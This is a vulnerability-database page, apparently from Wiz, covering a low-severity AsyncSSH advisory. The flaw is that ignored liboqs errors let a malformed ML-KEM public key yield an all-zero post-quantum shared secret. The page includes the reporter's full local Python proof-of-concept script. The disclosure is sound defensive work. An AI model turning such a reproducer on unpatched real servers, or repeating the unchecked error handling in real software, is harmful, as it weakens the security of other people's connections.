Vulnerability DatabaseGHSA-ww8g-78w6-6cgm

GHSA-ww8g-78w6-6cgm: 
Python vulnerability analysis and mitigation

Summary

In AsyncSSH through 2.24.1, when post-quantum key exchange used the liboqs library, errors reported by liboqs were ignored. For example, when the peer sent an ML-KEM public key that liboqs rejected as invalid, AsyncSSH carried on with an all-zero shared secret and ciphertext rather than failing the key exchange.

Details

AsyncSSH uses liboqs for the sntrup761x25519-sha512 key exchange and, when the installed cryptography package doesn't provide ML-KEM, for the mlkem768x25519-sha256, mlkem768nistp256-sha256 and mlkem1024nistp384-sha384 key exchanges. Newer versions of liboqs return an error for some invalid input, such as an ML-KEM public key of the right length whose encoded values are out of range. AsyncSSH didn't check the status returned by liboqs when generating a key pair, encapsulating or decapsulating, so on an error it used whatever was left in the output buffers, which was all zeros. These are hybrid key exchanges, which combine the post-quantum shared secret with a classical one such as X25519. A peer that triggers this only weakens the post-quantum part of its own connection, which it could do anyway, since it chose the input. The exchange hash signed by the server covers the public key the client sent, so a man-in-the-middle can't swap in an invalid key without being detected. Invalid but correctly sized ML-KEM ciphertexts aren't affected. As specified by ML-KEM, decapsulating them gives a pseudorandom secret, and the key exchange fails when the two sides' keys don't match. AsyncSSH now checks the status of each liboqs call and fails the key exchange if liboqs reports an error.

Impact

A peer can make an AsyncSSH server's post-quantum key exchange continue with a fixed, known post-quantum shared secret instead of failing. The connection is still protected by the classical part of the hybrid key exchange. No compromise of a complete session has been demonstrated. Only installations that use liboqs for post-quantum key exchange are affected. ML-KEM provided by the cryptography package isn't affected.

Workarounds

None needed in most cases. To avoid the issue, use a version of the cryptography package that provides ML-KEM, or disable the post-quantum key exchange algorithms that rely on liboqs.

Proof of concept

The existing repro.py loads the original _KEM/_OQSKEM definitions and associated mappings from AsyncSSH’s pq.py using AST selection. It leaves those definitions unchanged and exercises them against the real liboqs library. It does not import or exercise the complete AsyncSSH package.

  1. Generate a valid ML-KEM-768 keypair and perform a local encapsulation/decapsulation control. The recovered shared secret matches.
  2. Construct a public key consisting of 1184 bytes of 0xff. Its length is correct, but its encoded coefficients are non-canonical.
  3. Call OQS_KEM_ml_kem_768_encaps() directly with this input and zero-initialized output buffers. The recorded result is -1 (OQS_ERROR), with both output buffers remaining zero.
  4. Pass the same input to the unchanged _OQSKEM.encaps(). It returns the zero-filled shared secret and ciphertext without an exception.
  5. Short-public-key and short-ciphertext controls raise ValueError. The missing check is the native status, rather than the existing length validation. The script accepts --asyncssh-root, --liboqs-root, --liboqs-library and --output arguments and writes a JSON evidence record containing source revisions, file hashes, environment information, and individual check results. Separate injected-error cases exercise keypair, encapsulation and decapsulation status handling. Those are contract checks, not evidence of naturally occurring keypair or decapsulation failures. Original repro.py (complete source)
#!/usr/bin/env python3
"""Local AsyncSSH/liboqs error-propagation reproducer. No network operations.
Loads the original _KEM/_OQSKEM definitions and their maps, unchanged, from
pq.py using AST selection. It does not import or exercise the full SSH package.
This permits testing the binding on hosts without cryptography's ML-KEM API.
"""
import argparse
import ast
import ctypes
import hashlib
import importlib.metadata
import json
import os
from pathlib import Path
import platform
import subprocess
import sys
from datetime import datetime, timezone
from typing import Mapping, Tuple
sys.dont_write_bytecode = True
def git_info(root):
    def run(*args):
        return subprocess.check_output(
            ["git", "-C", str(root), *args], text=True
        ).strip()
    return {"commit": run("rev-parse", "HEAD"),
            "status_porcelain": run("status", "--porcelain"),
            "describe": run("describe", "--always", "--tags", "--dirty")}
def sha256(path):
    return hashlib.sha256(path.read_bytes()).hexdigest()
def summary(value):
    return {"length": len(value), "all_zero": not any(value)}
def load_original_binding(source, native):
    tree = ast.parse(source.read_text(), filename=str(source))
    requested = {"_pq_alg_sizes", "_oqs_pq_alg_names", "_KEM", "_OQSKEM"}
    selected = []
    spans = {}
    for node in tree.body:
        name = getattr(node, "name", None)
        if isinstance(node, ast.AnnAssign) and isinstance(node.target, ast.Name):
            name = node.target.id
        if name in requested:
            selected.append(node)
            spans[name] = [node.lineno, node.end_lineno]
    if set(spans) != requested:
        raise RuntimeError("Expected source definitions not found")
    # Nodes and class/method bodies are not rewritten or patched.
    namespace = {"ctypes": ctypes, "Mapping": Mapping, "Tuple": Tuple,
                 "_oqs": native, "__name__": "isolated_original_asyncssh_pq"}
    exec(compile(ast.Module(body=selected, type_ignores=[]), str(source), "exec"),
         namespace)
    return namespace["_OQSKEM"], spans
def capture(callback):
    try:
        value = callback()
    except Exception as exc:
        return {"raised": type(exc).__name__, "message": str(exc)}, None
    return {"raised": None}, value
def main():
    lab = Path(os.environ.get("PQC_LAB", Path.home() / "pqc-lab"))
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--asyncssh-root", type=Path, default=lab / "src/asyncssh")
    parser.add_argument("--liboqs-root", type=Path, default=lab / "src/liboqs")
    parser.add_argument("--liboqs-library", type=Path)
    parser.add_argument("--output", type=Path,
                        default=Path(__file__).resolve().with_name("evidence.json"))
    args = parser.parse_args()
    library = (args.liboqs_library or args.liboqs_root / "build/lib/liboqs.so").resolve()
    source = args.asyncssh_root / "asyncssh/crypto/pq.py"
    native = ctypes.CDLL(str(library))
    native.OQS_version.restype = ctypes.c_char_p
    KEM, spans = load_original_binding(source, native)
    try:
        from cryptography.hazmat.primitives.asymmetric import mlkem  # noqa: F401
        mlkem_import = {"available": True}
    except ImportError as exc:
        mlkem_import = {"available": False, "error_type": type(exc).__name__}
    try:
        cryptography_version = importlib.metadata.version("cryptography")
    except importlib.metadata.PackageNotFoundError:
        cryptography_version = None
    version_ns = {}
    exec(compile((args.asyncssh_root / "asyncssh/version.py").read_text(),
                 "asyncssh/version.py", "exec"), version_ns)
    evidence = {
        "generated_utc": datetime.now(timezone.utc).isoformat(),
        "scope": "Local binding API only; no sockets, SSH session, RNG replacement, or source edits",
        "loading": {"mode": "AST-selected original definitions, unchanged",
                    "source_spans": spans,
                    "full_package_import_tested": False,
                    "cryptography_mlkem_import": mlkem_import},
        "environment": {"python": platform.python_version(),
                        "platform": platform.platform(),
                        "cryptography": cryptography_version},
        "asyncssh": {**git_info(args.asyncssh_root),
                     "declared_version": version_ns["__version__"],
                     "pq_py_sha256": sha256(source)},
        "liboqs": {**git_info(args.liboqs_root),
                   "runtime_version": native.OQS_version().decode(),
                   "library_filename": library.name,
                   "library_sha256": sha256(library),
                   "oqsconfig_sha256": sha256(args.liboqs_root / "build/include/oqs/oqsconfig.h")},
        "repro_sha256": sha256(Path(__file__)),
        "algorithm": "ML-KEM-768",
        "tests": {},
    }
    tests = evidence["tests"]
    # Real liboqs, unmodified original methods: positive end-to-end KEM control.
    alice, bob = KEM(b"mlkem768"), KEM(b"mlkem768")
    shared, ciphertext = bob.encaps(alice.get_public())
    recovered = alice.decaps(ciphertext)
    tests["native_positive_control"] = {
        "shared_secrets_match": shared == recovered,
        "public_key": summary(alice.get_public()),
        "ciphertext": summary(ciphertext), "shared_secret": summary(shared)}
    # Same-length malformed public key: genuine native validation failure.
    # Both 12-bit coefficients decoded from ff ff ff are 4095, above q=3329.
    bad_pk = b"\xff" * alice.pubkey_bytes
    native_ct = ctypes.create_string_buffer(alice.ciphertext_bytes)
    native_ss = ctypes.create_string_buffer(alice.secret_bytes)
    native_rc = native.OQS_KEM_ml_kem_768_encaps(native_ct, native_ss, bad_pk)
    tests["real_native_invalid_public_key"] = {
        "input": "0xff repeated 1184 times; correct length, noncanonical coefficients",
        "return_code": native_rc,
        "ciphertext": summary(native_ct.raw), "shared_secret": summary(native_ss.raw)}
    result, output = capture(lambda: bob.encaps(bad_pk))
    if output is not None:
        result.update(shared_secret=summary(output[0]), ciphertext=summary(output[1]))
    tests["original_wrapper_same_invalid_public_key"] = result
    # Existing explicit length checks are working; the missing check is status.
    tests["short_public_key_control"], _ = capture(lambda: bob.encaps(bad_pk[:-1]))
    tests["short_ciphertext_control"], _ = capture(lambda: alice.decaps(ciphertext[:-1]))
    # Contract-only faults. These do not prove native keypair/decaps failures.
    # A small harness subclass intercepts assignment of the per-instance native
    # keypair callable during the unchanged original __init__. No global patch.
    keypair_calls = []
    def failed_keypair(*outputs):
        keypair_calls.append({"return_code": -1, "output_buffers_unchanged": True})
        return -1
    class KeypairFault(KEM):
        def __setattr__(self, name, value):
            object.__setattr__(self, name,
                               failed_keypair if name == "_keypair" else value)
    result, faulty = capture(lambda: KeypairFault(b"mlkem768"))
    result["injected_calls"] = keypair_calls
    if faulty is not None:
        result["public_key"] = summary(faulty.get_public())
        result["private_key"] = summary(faulty._priv_key)
    tests["injected_keypair_error"] = result
    for operation in ("encaps", "decaps"):
        instance = KEM(b"mlkem768")
        calls = []
        def fail(*buffers):
            calls.append({"return_code": -1, "output_buffers_unchanged": True})
            return -1
        setattr(instance, "_" + operation, fail)
        callback = (lambda: instance.encaps(alice.get_public())) if operation == "encaps" else (
            lambda: instance.decaps(ciphertext))
        result, output = capture(callback)
        result["injected_calls"] = calls
        if output is not None:
            if operation == "encaps":
                result.update(shared_secret=summary(output[0]), ciphertext=summary(output[1]))
            else:
                result["shared_secret"] = summary(output)
        tests["injected_" + operation + "_error"] = result
    checks = {
        "native_control_matches": shared == recovered,
        "native_rejects_invalid_pk": native_rc == -1,
        "native_failure_leaves_zero_outputs": not any(native_ct.raw + native_ss.raw),
        "wrapper_returns_on_real_native_error": tests["original_wrapper_same_invalid_public_key"]["raised"] is None,
        "wrapper_returns_zero_secret_and_ciphertext": all(
            tests["original_wrapper_same_invalid_public_key"].get(field, {}).get("all_zero", False)
            for field in ("shared_secret", "ciphertext")),
        "short_input_controls_raise": all(tests[name]["raised"] == "ValueError" for name in
                                          ("short_public_key_control", "short_ciphertext_control")),
        "injected_failures_not_raised": all(tests["injected_" + op + "_error"]["raised"] is None
                                           for op in ("keypair", "encaps", "decaps")),
        "injected_failures_invoked_once": all(len(tests["injected_" + op + "_error"]["injected_calls"]) == 1
                                               for op in ("keypair", "encaps", "decaps")),
    }
    evidence["checks"] = checks
    evidence["observed_issue_reproduced"] = all(checks.values())
    args.output.write_text(json.dumps(evidence, indent=2) + "\n")
    print(json.dumps({"evidence": str(args.output), "checks": checks}, indent=2))
    return 0 if all(checks.values()) else 1
if __name__ == "__main__":
    raise SystemExit(main())

The reporter ran this against AsyncSSH 2.24.0 with liboqs 0.16.0.

Patches

This issue is fixed in AsyncSSH 2.24.2.

Credits

Thanks to Zhang Jianhui (Jack) for reporting this issue and providing proof of concept code.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-r98q-c7gm-3hvgHIGH8.1
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-q4wc-j7xw-w4wpMEDIUM6.8
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-w3vw-hf9q-pm2pMEDIUM6.5
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-pvf2-q84m-2j7gMEDIUM5.3
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-ww8g-78w6-6cgmLOW3.7
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management